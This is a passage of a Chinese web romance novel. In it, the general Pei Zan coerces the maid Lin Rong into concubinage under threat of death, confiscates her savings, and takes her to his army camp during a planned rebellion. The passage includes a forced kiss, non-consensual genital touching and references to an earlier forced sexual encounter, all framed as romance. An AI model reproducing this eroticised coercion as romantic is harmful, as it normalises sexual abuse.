可这世上,没有后悔药能吃! 而她只是一个位卑言轻的奴婢,她别无选择! 她知道眼泪、软语,都不能折服裴瓒。 林蓉别无他法。 为今之计,只能逃跑! 林蓉看了一眼帘布微曳的车窗,她看到窗外幽蓝的天、绿茵的地,她猛地挣起身,扑向窗户。 林蓉想试图跃窗逃跑! 她全然不顾疾驰的马车,会不会让她遍体鳞伤。 性子真拧啊。 没等林蓉摔出窗外,男人的手臂再度揽来。 裴瓒好歹是个久经沙场的武将,怎可能让一个孱弱的小姑娘从眼皮底子下溜走? 而林蓉三番两次要跑,已经完完全全激怒了裴瓒。 裴瓒掐着她的脸,逼她认命。 “我说了,如你不叛主,我会善待你,否则,我定会杀你。” 裴瓒想要的东西,必然要得到手。 他从未失过手,从未有例外。 林蓉被裴瓒拦腰拽回,摔到车内,她的后腰撞上板壁,疼得眼冒金星。 她的双手交叠,高举头顶。 那两只纤腕被裴瓒扣在虎口,压在上方。 林蓉的袖子下滑,两条手臂就这么赤条条地露着,白得像是醍醐,如同待人扼断的细瘦雪枝。 林蓉气急,憋出一句:“我不愿为妾!” 林蓉幻想过未来的日子。 应是家有薄田,公婆慈爱,夫婿忠厚的样子。 她可以和夫君同床共枕,在每日农忙后闲话家常……绝不是如今这般与人为妾,从一个任人欺压的奴婢,变成另一个任人亵弄的玩意儿! 她不想去求裴瓒的恩宠,不想当高门里的姨娘,她不想被人冷落,被关在宅子里,被人发卖,被人轻贱……她不想! 裴瓒眯眸:“不为妾,难不成为妻么?林蓉,纵是给你几分体面,你也应有自知之明,知道什么话该说,什么话不该说。” 裴瓒待林蓉已算有几分耐性。 他本想着,此女有趣,可以养在后宅。 他会寻个端庄聪慧能容人的世家贵女镇宅,再保林蓉富贵荣华,如此便是对她最大的恩宠。 从一个奴仆,翻身成了主子。 此后每日,只要想着如何享乐,取悦夫君便是,这样的日子不好过么? 林蓉当然能听出裴瓒的讽意——一个连字都不识得,还是奴婢出身的主母,当真贻笑大方,亏她胆敢痴心妄想。 林蓉脸上生热,既是惊怒,又是羞耻。 她强忍住胸腔不断上涌的愤懑,辩驳道:“大少爷误会了,我自知身份卑贱,不过一庶民,怎配为高门主母,我只是不想当妾……我赎身出府,往后就算要嫁人,嫁进赤贫小户,也是当正儿八经的正头娘子,我不想做妾!” 做妾和做奴婢有何区别?都会被夫家发卖,活得不像个人。 林蓉的愿望很小,她只想自由自在生活,她只想活得体面一些,只想活得稍微像人一点。 林蓉油盐不进,呆呆傻傻地反驳,她睁着两只水汪汪的杏眸,抿着红唇,大有要和裴瓒同归于尽的架势。 裴瓒不惧她的料峭风骨,他无非是不喜失控之感。 许是林蓉着实惹怒了他,男人不过扬袖一抬,银花涌动,一柄削铁如泥的匕首就此重重刺进车厢壁板,震出刺耳的轰鸣。 林蓉骤然受惊,她被一声巨响吓得耳廓发木。 林蓉微微偏头,感受到利刃划过面颊的疼意。 那些腾升的生机、崩溃的怒意、汹涌的逃心,在绝对的武力面前,一点一点熄灭,尽数消散。 林蓉双眼发直,眼眸放空,傻愣愣地盯着裴瓒。 凛冽刀刃泛着光芒,照出林蓉那张白得欺霜赛雪的小脸。 眼前的裴瓒,犹如地狱血池爬出来的阎罗恶鬼。 他冷着一张漂亮的美人脸,指肚压上匕首,蓄意割开一道伤痕。 他感受不到痛,只是任由指上血珠渗出,腥膻的血气氤氲满室,打破了男人飘逸广袖里漫出的安神檀香。 林蓉仿佛亲眼目睹了一场专供邪神用膳的血祭,她无措地看着裴瓒手骨沾血,沿着白皙的皮肤,一路黏连上黑黢黢的念珠。 他将指肚洇出的血,劣邪地抹上林蓉的细颈。 划开一道血线。 他像是在标记下刀的位置,他在提醒林蓉——已经够了,别再找死。 凉丝丝的触感顷刻间蔓延,吓得林蓉连抖都不敢抖了。 明明裴瓒生得很好,梅精雪魄一般的漂亮。 可她就是怕他,怕得连话都说不出来。 片刻后,她听到裴瓒寒声发问:“林蓉,死在我手里,还是做妾,你选一个。” 他玩够了,失了耐心,等待林蓉的答复。 林蓉低头,看了一眼满身沾染的鲜血,她的纤薄脊背窜起电花,灼得骨头缝里都生疼发痒。 她知道,裴瓒真的会杀她。 他没有说笑。 林蓉不过是无足轻重的玩物,她不值得裴瓒温声细语哄劝。 人死了就什么都没有了。 唯有保下一条命,林蓉方能筹谋日后。 她得先活下来,不择手段活下来。 林蓉记起被裴瓒一刀穿喉的刘青山。 在这一刻,她和刘青山都是裴瓒脚下蝼蚁,他们的命不分高低贵贱。 还是得先活着。 林蓉樱唇翕动,她分明不想哭,可眼泪却莫名其妙滚落,秋水滟滟。 林蓉强忍住齿关的震悚,她眼神空洞,识趣地开口:“我……留下来。” 没说做妾,仅仅是受人胁迫,不得不妥协。 裴瓒并不在意她是否还想讨要妾位。 他若给,她再不愿,也得受着。 裴瓒低头,看着眼前这只可怜兮兮的困兽,看着她无路可退,只能再度乖顺地趴伏于他的膝骨。 裴瓒夸赞她的识时务,泛凉的手指再度碾上女孩的樱唇。 裴瓒垂眸,盯着那一片红。 除林蓉外,他从未碰过女子的肉身,因他嫌那层白花花的皮囊腻、嫌那等抵死缠绵的事脏。 可裴瓒记得纾解媚药的那一夜,他迫着林蓉,从后贯穿,他好似并不憎厌她。 莫名的,裴瓒微微眯眸,捏住了林蓉的双颊。 他看了一眼檀唇,低道:“林蓉,张嘴。” “啊?”林蓉呆了一瞬。 受惊的本能,令她下意识服从命令。 林蓉分神,软唇微开。 趁着这一间隙,裴瓒低下了头。 男人滚烫的气息瞬间袭来,落在林蓉汗湿了的额头。 林蓉长睫一颤,呼吸窒住。 她看着近在咫尺的裴瓒,手心沁汗,指骨蜷缩。 而裴瓒倾身,他越来越近……那片薄唇,竟就此轻覆上林蓉! 20、第二十章 第20章 马车一路朝前疾驰, 车帘随风摇曳,光影忽明忽暗,偶有青涩草木味、湿咸湖潮味顺风抖进来, 弥漫满室。 车厢里并未点灯,车壁逼仄, 人都站不直。 林蓉蜷在角落, 又被裴瓒覆着, 只能受屈一般任他压在狭窄的车壁一隅施为。 林蓉感受到裴瓒低头, 落下汹涌如潮的吻。 她有点怕,像是溺水的人,下意识要扶住海面泊来的浮木。 因此, 她握住了裴瓒的手臂,隔着单薄软滑的一层绸袍, 男人结实有力的臂弯在她的掌心撼颤, 是硬朗的手骨、是轮廓分明的肌理。 这是林蓉第一次碰到裴瓒, 在她的印象里, 大少爷一直是遗世独立的佛陀一般, 他目无下尘, 心无挂碍, 既桀骜又寡情。 可现在,他竟低头吻她……实在是太古怪了。 林蓉既惊又惧, 心脏颤颤的,不知该作何反应, 她甚至忘记了挣扎。 林蓉竭力承受裴瓒的狎昵。 他的唇瓣很薄,亦很凉,最初相贴在一起,还能感受到细密的唇纹。 浓烈的檀香大量涌来, 直将林蓉熏得头晕脑胀。 她整个人都好似浸在了这种蜜香里,香汤煎着、煮着,直将她的衣袍、皮肉,都染上那股独属于裴瓒的香凉气味。 林蓉背靠着车壁,她没有退路,高大挺拔的男人就横在她的身前,捧着她的脸,迫她抬头承吻。 林蓉的嘴角挨了咬,倒是不疼,只是发痒,痒得她气息不畅,受不住了,张嘴呼吸。 可林蓉一开口的瞬间,又有柔软之物探进了她的唇腔,沿着她的齿列游走。 是裴瓒滚沸的舌尖。 林蓉尝到了裴瓒的味道, 他见缝插针地舔吻她,吮得这样深,这样切。 林蓉一时不察,丁香小舌被裴瓒含着,勾着,深深绞缠进口中。 他与她唾津交融,软肉摩挲,步步紧逼,吮得她舌根都发麻发酸。 林蓉没受过这样的情潮,总觉得裴瓒有种拔苗助长的嫌疑…… 但仔细想想裴瓒这些日子的所作所为。 早在那一日送茶的时候,他已经拔过了,还是一拔到底。 林蓉没什么可失去的了。 但被裴瓒这样的嗜杀之徒靠近,她仍会毛骨悚然。 林蓉被压在暗处,她几乎呼吸不了,头皮一阵阵发炸,汗毛倒竖。 偏裴瓒不喜她躲闪,还要将修长冷硬的手指,插进她脑后的乌发。 男人的掌腹霸道地压住她的后颈,柔柔地碾,细细地推,动作轻微,带着温柔的假象。 不知是哄骗,还是刻意蛊惑。 于情事上,裴瓒其实也没经验,可食色性也,男子本就对这种事在行一些。 他能无师自通。 这也是独属于人的劣根。 偏林蓉不知这一点,她还当裴瓒如此游刃有余,实乃个中老手。 说来也令人胆战心惊,从前那场荒唐的云雨事,发生在林蓉为奴为婢的时期,裴瓒位高权重,以上克下,林蓉不得不承。 她忍着疼,任裴瓒撕开那一层亵裤,带着无可奈何的屈辱。 她认了命,也知要走这一遭。 初夜对于林蓉来说,是受罪、是领罚……心理上还能接受。 可亲吻和房事实在不同。 二人交吻,唇齿相依,骨血相融,委实亲密了些。 他们的关系还没有近到可以这般唇肉相贴,让渡口津。 林蓉的腮帮子发酸,小肚子也涨涩,她心里害怕,膝骨漫上一重重难以抑制的战栗。 林蓉茫然地睁着眼,她看到了,她的鼻息与人交织,她与裴瓒紧密相缠,似两条糅在一块儿的蛇。 林蓉心里害怕,但她又必须顺从。 她变得柔软,之前胸腔里鼓噪出来的恨意、怒意、不甘尽数消散。 林蓉成了一个被水洇湿了的纸老虎,士气全无,很快被裴瓒探出了底细。 林蓉浑身冒汗,湿泞泞的,口水都要沾湿了下颌。 就在她几乎喘不过气的时候,裴瓒终于餍足,松开了她的樱唇。 一只白皙玉手,拨开了她遮脸的湿发,逼林蓉无措地仰头,用那双实在可欺的懵懂杏眼瞻仰他。 林蓉被亲得看人都恍惚,她的脑袋已经乱成一锅粥,可她抬眼一看,裴瓒还是老样子,他的发簪齐整挽着乌发,凤眸清明淡漠,英眉驽目,见之生畏……唯有衣襟变乱了,折了几道被林蓉抓出来的皱纹。 旁的什么都没有。 他竟这般冷静,如圭如璧,似山巅白雪,从容清华。 裴瓒还是那一尊摆在供台上的男相菩萨像。 只是这尊神像不再慈悲,他的金箔碎裂,圣相坍塌,生出了狰狞淋漓的血肉,极为骇目。 林蓉有点不明白,她以为裴瓒吻她,是因为他意动,但现在看来,似乎又不是这样。 裴瓒淡然的神色……像是在戏耍林蓉一般,他只想看林蓉因欲因情,变得迷乱。 许是看出林蓉的迷茫,裴瓒轻牵唇角,意味不明地道了一句:“不过是想试试。” “大少爷……我听不懂。”林蓉主动示弱。 她知道裴瓒时刻生出的杀心,既要虚与委蛇,她自不能轻易招惹他。 裴瓒看了她那张被吻得微肿的唇,微微眯眸,似是想让她听明白,他再度俯身,吻了下去。 林蓉的杏眸瞬间瞪大,她终于知道,裴瓒在试什么了。 他想试试,那些俗人会做的腌臜事。 他想试试,那些云雨房事,是不是真如世人说的那般快活。 他只收用过林蓉,他将林蓉视为掌中玩物,他不嫌她脏,当然要物尽其用……不遗余力地欺负她! 林蓉恨自己嘴贱,非要多此一举追问。 待她被困到裴瓒怀中,被那滚沸的烙铁烫到。 裴瓒意动,且轻易消不下去。 林蓉浑身发僵,她想到今早有点见红,还在亵裤里替了月事带。 林蓉耻意深重,红着脸,闭目道:“我、我来了癸水……怕是不能服侍大少爷。” 裴瓒了然,他没有执意入内。 车厢静了下来。 林蓉松了一口气,她自以为逃过一劫。 可下一刻,裤带一松。 林蓉竟感受到他冰冷修长的手指,沿着她的腰窝往下…… 林蓉惊得打颤,她不知所措。 直到裴瓒轻轻碾过,又递到她面前,给她看那片新沾上的猩红。 “你没骗我。” 林蓉看着裴瓒神色沉静地诉说这件事,看着他那只用来舞文弄墨的手,竟触及此等私地…… 此时此刻,林蓉的理智终是轰隆一声,炸了。 她的脑袋嗡鸣,两眼发木,脸颊骤热,她已经不知道是该哭还是笑。 林蓉活到这么大,从来没有、从来没有见过这种事! 也是这一刻,林蓉清楚意识到—— ……裴瓒哪里是慈眉善目的菩萨,他分明是个不可理喻的疯子啊! 20-30 第21章 林蓉今日受到的冲击太大, 她犹如木头人一般,缩在角落里一动不动。 但好在,裴瓒知道她无路可逃, 并未继续为难她。 马车行驶了足足一日,林蓉不敢挪屁股, 直坐得臀骨酸痛。 她趁着裴瓒闭目养神的间隙, 小心翼翼撩窗, 窥视一眼车窗外的情况。 天色暗沉, 夜幕四合,到处都是高耸入云的松柏,山中飞禽走兽的叫声此起彼伏, 尖利骇人,林蓉的心中涌起一片凄凉之意, 他们分明已经出城了。 林蓉盘算着她应如何逃跑, 但她不会骑马, 又租赁不到马车渡船, 逃离裴瓒简直就是难于登天。 但林蓉摸了摸怀里的小袋子, 那里还藏着她仅剩下的三两银子, 她有金银细软傍身, 一旦抓到机会,她还是能逃出生天的。 许是林蓉揉捏袄裙的动作太过碍眼, 裴瓒于昏暗中睁开眼,男人气息凛冽, 微撩眼皮,静静睥她一眼。 良久,裴瓒朝她伸手,摊开宽大的掌心:“身上可有傍身的银钱?取出来。” 林蓉见状, 如遭雷击。 她怎么都没想到,家底殷实的高门公子,家财万贯的大官都督,竟会和她这样的升斗小民讨要钱财。 这不是地痞无赖么?! 可林蓉已经见识过裴瓒出刀杀人的恶行,他再如何行径低劣,她也见怪不怪了。 林蓉捂住衣衫,稍稍抵抗了一下:“若我说没有……” 裴瓒冷嗤一声:“要我搜身么?老实拿出来,还能允你留下一钱银子买包饴糖。” 林蓉一想到裴瓒方才能狠到探幽入径,只为查探她是否来了癸水的事,她已经不敢赌裴瓒的丝毫良知了。 林蓉鼻尖发酸,她不情不愿地摸进怀中的口袋,取出二两九钱,递到裴瓒掌中。 林蓉畏惧眼前的杀人恶鬼,可她知道身上没钱,往后莫说逃跑,就是出个府邸都举步维艰。 林蓉咬了下唇,做了点无济于事的挣扎。 “大少爷,我给您做姨娘,府上不发月例吗?” 要知道裴府二房的姨太太,每个月还有二两银子的月例呢,大都督不至于这般抠搜吧? 可这是裴瓒第一次养一房妾室,他倒没想得这般长远。 裴瓒似是觉得有趣,饶有兴致地看她:“你想要多少?” 听完,林蓉顿时腰不疼腿不酸说话也有劲儿了,她坐直了身子,清了清嗓子,鬼鬼祟祟地觑他一眼。 “要的也不多。”林蓉和裴瓒打商量,“裴府二房的周姨娘一个月有二两银子呢,逢年过节还会有金银打赏、利市封红包……若是大少爷觉着太多,一两银子也是可以的,再不济五钱,您看成吗?” 林蓉在玉尘院当大丫鬟的时候,一个月就是四钱银子,她没见过大钱,但觉得自己当了姨娘,是该涨一点月钱。 钱多了才好筹谋逃跑。 然而,她还是吃不透裴瓒,全然不知此人心性劣邪。 裴瓒旁听一会儿,淡声拒绝:“没有。” “什么叫……没有?”林蓉难以置信,她情愿是自己听错了。 裴瓒嘴角微扯:“一家一个规矩,都督府不给妾室月钱。” 林蓉刚提起的勃勃生气儿,转眼间又蔫巴了下去。 裴瓒惫懒地倚着锦榻,指骨轻敲一侧用来置放文书的矮案,“为何惦念银钱,难不成你想伺机逃跑?” 林蓉一个激灵,她唯唯诺诺地道:“怎敢……我只是想着,手里有点钱,往后在宅子里方便疏通各院的人情,还有府上的丫鬟婆子也要打点。” 林蓉是做过奴婢的,她知道府上那些不受宠的妾室,想吃口热乎饭菜,也得塞钱进公厨。 有时候林蓉可怜那些老姨娘,还会腿脚快些送饭,就为了让她们吃口热饭。 裴瓒不以为意:“倒是多虑,自有老冯会帮你调教奴仆,此等小事还无需家眷费神。” 裴瓒话虽如此,但林蓉明白做主子的,怎会体谅奴才? 她深知高门大院的妾室难为。 单说那个二房的周姨娘,早年也是荣宠不断,但二夫人一碗绝嗣药灌下去,连子女都生不了。 天长地久,二老爷有了新欢,她立马就被抛诸脑后,就连秋天想吃螃蟹,还要寻赵婆子出门典当了簪子,才能买上两只,过得比她们这些外院丫鬟都不如。 现在裴瓒肯与林蓉说几句话,无非是刚得手,还算新鲜,待过两年,裴瓒的正妻进门,又有更多美婢娇妾过府,林蓉这等乡野丫头一定会被弃如敝履,丢到犄角旮旯地里。 保不准她连一只佐粥的咸鸭蛋也吃不上了。 失宠且没钱,被活活困死在高门大院里,这便是林蓉的一生。 林蓉悲从心中来,一脸生无可恋的样子。 裴瓒微微拧眉:“你在畏惧什么?偌大的府邸,还能短着你吃喝不成?” 林蓉哪敢说那些丧气话,听着好似邀宠一般。 她很务实,她只想多攒钱……林蓉不甘心地问:“那逢年过节,大少爷会给我打赏吗?” 裴瓒竟被她问得沉默。 往日,旁人给他送环肥燕瘦的美妾,哪个不是声称这些美人受过调教,琴棋书画样样精通,如同不食人间烟火的仙子。 哪里有林蓉这样,开口便是讨钱,生怕都督府亏待了她。 裴瓒微微阖目:“你想要什么?金银休想,没这个规矩。” 林蓉:“那金簪银簪呢?锦衣华服呢?” 林蓉也不想这么贪的,她实在是被裴瓒逼得没法子了。 裴瓒并不愚钝,稍加琢磨,便知她打算。 他冷笑一声:“自当赏你。” 林蓉杏眸发亮,大喜过望:“多谢大少爷!” “别高兴得太早。”裴瓒冷眼看她,“簪子都会铸上都督府的徽印,便是你外出典当、送到银楼里熔金也无人敢收。至于锦绸华服,亦会用南地买不到的好料子,再在内衬缝字刻名,量估衣铺的掌柜胆子再大,也不敢对都督府的差役欺瞒,包庇你的行踪。” 林蓉听得心脏发凉,她算是懂了裴瓒设下的天罗地网……她身无分文,又只有那些裴府得来的赏赐,就算逃到天涯海角,只要她敢易物换钱,就能被裴瓒发现行踪。 况且还有路引上记载的庶民样貌特征,可供裴瓒随时查证,凭裴瓒的通天本事,还怕找不到一个小小逃妾吗? 林蓉怕是真摔进这一个龙潭虎穴了。 她的心中凄惶无措,心如死灰。她懒得再做无谓挣扎,也不和裴瓒虚与委蛇。林蓉头一栽,继续歪进了黑黢黢的角落,当个只会喘气的死人。 裴瓒瞥她一眼,薄唇微抿:“……” 最终还是什么都没说。 第22章 秦王谋逆, 已率军北上,一路攻向京城。 元庆帝闻询震怒,病情加剧, 不得理政,特命大皇子陈文晋、二皇子陈逸山临朝监国, 在中枢阁老们的辅佐下, 摄政国事。 君王病入膏肓, 却态度游移, 迟迟不肯册立储君。傻子都知,这是在对裴家示好,也表明了他器重裴贵妃所出的次子之意。 元庆帝望裴瓒看在自家贵妃姑姑的颜面上, 以大局为重,忠心效国, 拔军逐敌, 也好铲除奸佞。 裴瓒表面从命, 特遣都督佥事郑至明募兵抓丁, 整肃兵马, 先翻越江州丘陵、广袤山岭, 远征渝州, 深入藩地八百里,攻下秦王属地本营, 再将其犯事家眷一并押解上京。 此举看似打蛇七寸,深谋远虑, 实则有点多此一举。 秦王人都领兵上京了,还敢把那些姬妾儿女丢在辖州,可见是个心狠之人。 这等为图谋帝业,都敢抛妻弃子之徒, 即便裴瓒派人去堵他老家,又能如何呢? 秦王有登顶之意,又岂会在意区区弹丸藩地会不会后院起火? 他又不是在属地渝州立坛称帝…… 渝州? 说到这里,就是傻子细品一番,也能回过味来。 哪里是元庆帝想要收回亲王的属地,分明是裴瓒想伺机独吞渝州! 裴瓒分明是不想蹚京城夺嫡的那一滩浑水,他从头到尾都没有上京攻城的计划,他心性凉薄,竟将裴贵妃和二皇子表弟尽数舍弃了! 裴瓒只想趁秦王和京城斗争之时,先攻下几州,划江而治,自立为王! 裴瓒故意放纵秦王上京清君侧,自己则趁虚而入,一路收缴那些已经被秦王打得战力大减的城池州府。 如此一来,他便能以江州为据点,扩大手中地盘,成为南地的统军枭雄! 即便秦王事后回过味来,他也只能吃下这个闷亏,眼睁睁被裴瓒恶心,断不敢回头发兵,夺回旧城。 毕竟秦王与裴瓒鹬与蚌相争,短兵相接,兵力衰减,只会让元庆帝乐见其成,令他渔翁得利! 最好的办法,便是秦王忍气吞声,不与裴瓒计较。 秦王闷头上京谋反,不干涉裴瓒趁火打劫的恶行。 秦王最好大度一点,故意将攻下的那几个州府舍给裴瓒,让利于他。 如此示弱,便能稳住裴瓒这头缺德的恶狼,哄他留在南地,不要追着秦王的兵马穷追猛打,免得谋反一事功败垂成。 秦王恨得咬牙,但他也只能被迫低头。 裴瓒已经达成目的,自不再为难于他。 秦王谋他的反,裴瓒吞他的地盘,二人各取所需,井水不犯河水。 至于几个月后,元庆帝幡然醒悟,意识到这一点,怕是也太迟了。 那时候,元庆帝已经和秦王咬成一团,再也管不到南地的裴瓒。 毕竟裴瓒饷源独立,拥兵数万,已成气候,如今元庆帝想要铲除沉疴,已是亡羊补牢,为时晚矣。 想到这里,裴瓒轻轻一笑。 他不是没给过元庆帝机会,只是早在从前,元庆帝就落下了轻敌的祸根。 元庆帝一直以为,江州一带水师骁勇,不擅远征,难以与京都大营里的骑兵一较高下。 几次派来监军使者,都当着裴瓒的面,羞辱南地的营务废弛,兵丁愚钝。 殊不知,此为裴瓒的韬光养晦之计。 裴瓒早有谋逆之心,他私下以“农事团练”招募农工壮丁,培育骑射兵马,麾下骑兵虽不及北地都城那般英武,但已有一战之力…… 半个月后,郑至明攻下渝州,又送来常州的攻城线报。 见时机成熟,裴瓒诚邀庐州都督吴冲发兵常州。 二人伺机里应外合,齐心协力,一起拿下邻近江州的几个州府。 如今已是轮到裴瓒领兵上阵的时候了。 当晚,林蓉刚吃完一个馒头,喝完一碗羊肉汤,又被裴瓒单臂拎上马车,风尘仆仆地赶路去了。 林蓉骤然摔在马车最角落,骏马一个冲刺,好险没把她肚子里的肉汤抖出来。 林蓉揉着小腹,幽怨地看了务公的裴瓒一眼。 男人近日一直在接收送信的黑隼,脸色阴沉得可怕,暗处又总是黑影重重,遍布护身的暗卫……林蓉连句抱怨的话都不敢说。 她想不通,哪家小妾还要跟着主子奔赴军营?随便把她丢到都督府里休养不好吗? 思毕,林蓉忽然记起她的月事已经走干净了,而很多兵痞军将据说战前神经紧绷,为防营啸,都需房事疏解……林蓉一个激灵,困意散得一干二净。 大少爷总不会是拿她当床笫间的乐子使吧?不然没道理上哪儿都带着她啊! 又过了几日,裴瓒的马车风雨兼程,终于抵达了常州以北的山麓。 远处崇山峻岭,丰草长林。 河谷与丘陵将那片环湖的平原,切割成一片片水草丰沛的林地,开春季节,放眼望去,满目都是苍郁的绿意。 林蓉从马车跃下,好奇地张望。 她第一次看到黑夜里燃起那么多星星点点的篝火、一个个驻扎在山间的帐篷,不由心生疑惑。 还是裴瓒下车,为她解惑:“此为裴家兵马的后方营地,储备辎重军需,是为军机秘地,寻常不能暴露。” 林蓉一脸惊愕:“既然是如此要紧的军情后方,大少爷怎可带我来这里?” 裴瓒眉眼清淡,扬眉看她:“为何不可?难不成,你会叛我?” 这话虽是玩笑,但也暗藏杀心。 林蓉把头摇得好似拨浪鼓,急忙自证清白地道:“苍天可鉴,我对大少爷忠心耿耿,决不会泄露机密。就是、就是这么多兵将在此地安营扎寨,是不是代表您要上战场了?” “倒也不笨。” “大少爷,那我预祝您旗开得胜,扬威凯旋。”林蓉不免心生妄念,若是战场刀剑无眼,裴瓒有个三长两短回不来那就更好了…… 没等林蓉想好,裴瓒凉凉瞥她一眼:“如我战死,定遣人抓你殉葬。” 林蓉脸上的笑意微敛,杏眸震颤,一时间哑口无言。 偏她这样惊恐的反应,更坐实了她方才一瞬的目光躲闪,当真是在诅咒裴瓒不得好死。 裴瓒冷笑一声,凤眸深寒,他掐着林蓉的下颌,告诫道:“所以,盼我点好,免得一语成谶。” 林蓉缩了缩脑袋不作声了。 储械存粮的军仓后方,距离前线营地有数十里之遥。 冯叔身为裴瓒最倚重的管事,自然也亲临军营,帮着照看裴瓒的起居。 冯叔身穿火头军的轻甲,远远看到林蓉,惊讶不已。 “爷,您怎么把林姑娘带回来了?” 冯叔不知林蓉和裴瓒有过一段雨露孽缘,冷不丁看到裴府奴婢在此,心里还纳闷。 “往后,林蓉便是裴府的妾室。”裴瓒轻描淡写地叮嘱了一句,舍下林蓉,独自上军帐里议事了。 冯叔对此事接受得快,他笑着唤了声:“小夫人。” 林蓉和冯叔算是旧识,她尴尬一笑,对冯叔道:“冯管事,您还是喊我‘林姑娘’吧,我人微言轻,不过一房侍妾,实在担不得这一句‘小夫人’。” 林蓉知道,裴瓒后宅里目前就她一房姨娘。 冯叔为了抬举她,讨个巧,唤句“小夫人”。 可冯叔敢喊,她不敢应啊! 日后正妻进门,要是不慎听到那句“小夫人”,恐怕会勃然大怒,怪冯叔妻妾不分,斥责阖府上下没有半点规矩。 林蓉主动避嫌,也是为了保住这条小命,免得日后出什么差池,碍了当家主母的眼。 林蓉得体识趣,冯叔赞赏地看她一眼,从善如流地改了口。 冯叔带林蓉四处闲逛,提点她不得涉足的军中禁地,免得林蓉闷头乱走,犯了忌讳。 常有将领嫌远征乏累苦闷,会携带一两个姬妾随军,也好时刻遣人侍奉枕席,纾解人欲。 只要将美人藏在帐中,不闹到明面上来,无人会说三道四。 只裴瓒多年来不喜女子近身,头一次破例,随身携带一名侍妾行军,这样的桃色趣闻,便让人心痒难耐了。 不论辎重车队,还是瞭望箭塔的兵卒,一听说林蓉是裴瓒的姬妾,各个探头探脑,企图一睹芳容。 一看林蓉衣着寻常,与乡野农妇无异,可那身段窈窕,桃腮杏眸,分明是个绝代佳人。 众人又是一阵心中艳羡……感叹大都督位高权重,吃的就是好啊。 许是那些兵卒心浮气躁,两眼发直的模样实在不像话,策马奔来的郑慧音一扬手中牛皮长鞭,厉声斥道:“看什么看!还不巡岗站哨去!倘若贻误军机,且等着我阿兄治你们的罪!” 郑慧音是郑至明的妹妹,她和郑至明兄妹情深,自小跟着阿兄行军,与裴瓒也算相熟。 早在几日前就得了消息,她知道裴瓒要带一名侍妾来军营的事。 兄长郑至明还特意叮嘱她,多多关照这名姬妾,切莫因旧事恩怨,开罪了林蓉。 郑慧音喜欢裴瓒多年,此前她还厚颜献身,希望能侍奉裴瓒左右。 奈何郎心似铁,裴瓒非但没有顾念旧情,给她一个体面,还用剑划伤她的脸,逼她退出寝帐。 那种利刃破肉的痛感深入骨髓,令她痛不欲生。 郑慧音大病一场,养好脸伤后,终是断了所有关于裴瓒的情愫。 但郑慧音不念不想不强求,不代表她甘心。 倘若裴瓒一直都孑然一身,她还能说服自己,并非自身魅力不够,而是此人生来寡情冷漠,不沾凡欲。 可偏偏裴瓒回家数月,竟开了窍,还破天荒将一名新纳的姬妾带到了军营后方,这让她如何能咽下这口气?! 郑慧音心中不快,她紧攥缰绳,冷着脸上前,逼视林蓉。 冯叔看到郑慧音来了,他深知裴瓒和郑慧音的旧事,心里忐忑不安,生怕郑慧音暴起伤人。 但好在,郑慧音只是低头,居高临下地打量林蓉娇怯的眉眼——老天!裴瓒从哪里找来的小姑娘?!肤白、眼大,唇瓣也红……生得的确漂亮,不知是谁家的贵女千金。 而且林蓉看起来身姿娇小,分明才十七八岁。 郑慧音并不讨厌林蓉,她看了半天,硬邦邦地憋出一句:“弱不禁风的小丫头,也有胆子跟来战场。” 闻言,林蓉对她示好地一笑:“我不弱的……我可有力气了,从前早起担柴挑粪,我还能一人负责三个院子呢!” 林蓉做事手脚麻利,干活的声音还轻,不会吵到那些熟睡的大丫鬟。 因她这份细致与贴心,无论上哪个院子做事,那些内院的大丫鬟都对她颇有好感,偶尔还会好心给她一块大夫人赏下来的桂花糕。 郑慧音一听林蓉说话实诚,没有半分矫揉造作的姿态,心里舒坦了许多。 毕竟郑慧音之前勾引裴瓒,还特意模仿了那些美人的温婉娇弱之姿……但裴瓒没上套。 如果裴瓒只是不喜郑慧音,这才出剑伤她,恐怕郑慧音会难堪到恨不得钻进地缝里。 幸好,裴瓒挑人的口味还算正常。 冯叔知道,营地里就郑慧音这个女眷,她定是奉了郑至明的命令,前来关照林蓉一二。 冯叔给郑慧音介绍了林蓉,将人交代给郑慧音,自己则去继续督看营地外围拒马阵的布置情况了。 林蓉看着乖乖巧巧,但也并非愚钝蠢笨之人。 方才旁敲侧击听了半天,她已经得知,再过几日,裴瓒便会离营,奔赴前线御敌。 也就是说,没了裴瓒的看管,她又有了逃离此地的可能。 再一看眼前骑马扬鞭的飒爽女子,林蓉心中一动。 她想和郑慧音交好,她想偷偷学骑马…… 林蓉还在思索和郑慧音混熟的办法,郑慧音却率先开口了。 “裴都督这么宠你,也不给你买几件新衣穿吗?” 林蓉轻轻啊了一声,低头逡巡一眼。 这个月,林蓉跟着裴瓒披星戴月地赶路,她连好好吃饭洗漱的时间都没有,遑论上街置办新衣了。 再说了,裴瓒抠门,连她的三两银子都要没收,林蓉捉襟见肘,又能去哪里添置衣物。 林蓉想了想,道:“我没钱买衣裙,大少爷也不给买……都督府规矩大,不派妾室月钱。我本来攒着的三两银子,也被大少爷拿走了,荷包里就剩下一钱银子,大少爷让我留着买饴糖吃。” 郑慧音听得瞠目结舌,但看林蓉掌心都是厚厚实实的老茧,分明是长年干活的小姑娘。 她不是个心肠冷硬的人,听到这番话,脸上绷着的那股锐气又衰减了许多。 郑慧音皱了下眉头,小声问林蓉:“那裴都督会让你吃饱饭吗?总不至于饭都不给人吃吧?” 林蓉笑着摇头:“那不会,大少爷在吃喝上从不亏待我,饭还是能吃饱的。” 小姑娘能吃饱喝足,笑得一脸满足,叫人又怜又爱。 郑慧音听着她细声细气说话,不知为何心里泛酸。 她是被兄长疼爱长大的,老实说,没吃过这样的苦。 郑慧音咬了下后槽牙,拉住林蓉的手,强行往自己的帐篷里扯。 “你是叫林蓉吧?来,蓉儿,我带你吃些东西,再给你找一身漂亮衣裳穿。” 林蓉受宠若惊,连连道谢:“郑小姐不必麻烦了,我很快就得回去了。” “你过来便是,废什么话啊!” 郑慧音盛情难却,林蓉只能一边道谢,一边跟上。 深夜时分,裴瓒派人来召林蓉回帐随侍。 帐帘撩起,浓雾散开。 军帐中的千枝铜灯,火光轻窜,响声荜拨。 林蓉抱着一只装满果脯蜜糖的螺钿食盒,悄然入内。 她放下食盒,恭恭敬敬地给裴瓒问安:“大少爷,我回来了。” “嗯。”裴瓒应了一声,低头批阅军务文书,没抬头看她。 倒是林蓉看出来,裴瓒乌发半披,仅用木簪绾发,他着一身干净的雪色寝衣,跽坐于毯,分明是已经洗漱过,准备就寝了。 裴瓒处理完公务,这才抽空看了林蓉一眼。 